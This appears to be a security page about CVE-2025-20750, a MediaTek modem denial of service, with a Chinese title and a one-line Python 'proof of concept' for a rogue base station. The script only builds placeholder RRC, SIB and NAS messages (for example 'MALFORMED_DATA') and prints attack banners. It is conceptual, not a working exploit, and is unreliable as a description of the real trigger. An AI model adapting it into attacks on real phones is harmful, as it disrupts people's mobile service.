CVE-2025-20750: MediaTek调制解调器输入验证不当导致拒绝服务

# CVE-2025-20750 PoC - Rogue Base Station Attack # Note: This is a conceptual demonstration for security research purposes only # Actual exploitation requires specialized RF equipment and telecom protocol knowledge import os class RogueBaseStation: def __init__(self): self.supported_bands = [1, 3, 5, 7, 8, 20, 28, 40] self.pci = 100 # Physical Cell ID self.tac = 0x0001 # Tracking Area Code def craft_malicious_signal(self): """ Craft malicious signal payload with malformed RRC messages to trigger input validation vulnerability in MediaTek modem """ # Malformed RRC Connection Reconfiguration message # with invalid input parameters malicious_payload = { 'msg_type': 'RRC_CONNECTION_RECONFIGURATION', 'rrc_transaction_id': 0xFF, # Invalid value 'mobility_control_info': { 'carrier_freq': 0xFFFF, # Out of range 'physical_config_dedicated': 'MALFORMED_DATA' }, 'meas_config': { 'meas_id_to_add_mod_list': 'OVERFLOW_DATA' } } return malicious_payload def broadcast_malicious_sib(self): """ Broadcast malformed System Information Blocks to trigger parsing vulnerabilities """ sib_payload = { 'sib_type': 1, 'cell_access_related_info': { 'tac': self.tac, 'cell_id': 0xFFFFFFFFFFFFFFFF # Invalid cell ID } } return sib_payload def trigger_crash(self): """ Send crafted NAS messages to trigger denial of service """ nas_messages = [ 'ATTACH_REQUEST_WITH_INVALID_IMEISV', 'TAU_REQUEST_WITH_MALFORMED_GUTI', 'SERVICE_REQUEST_WITH_INVALID_SEQUENCE' ] return nas_messages # Usage example if __name__ == '__main__': rbs = RogueBaseStation() print('[+] Initiating rogue base station attack for CVE-2025-20750') print('[+] Broadcasting malicious signals...') payload = rbs.craft_malicious_signal() sib = rbs.broadcast_malicious_sib() print(f'[*] Payload crafted: {payload}') print('[*] Target: MediaTek Modem with unpatched firmware') print('[*] Expected result: Modem crash/denial of service')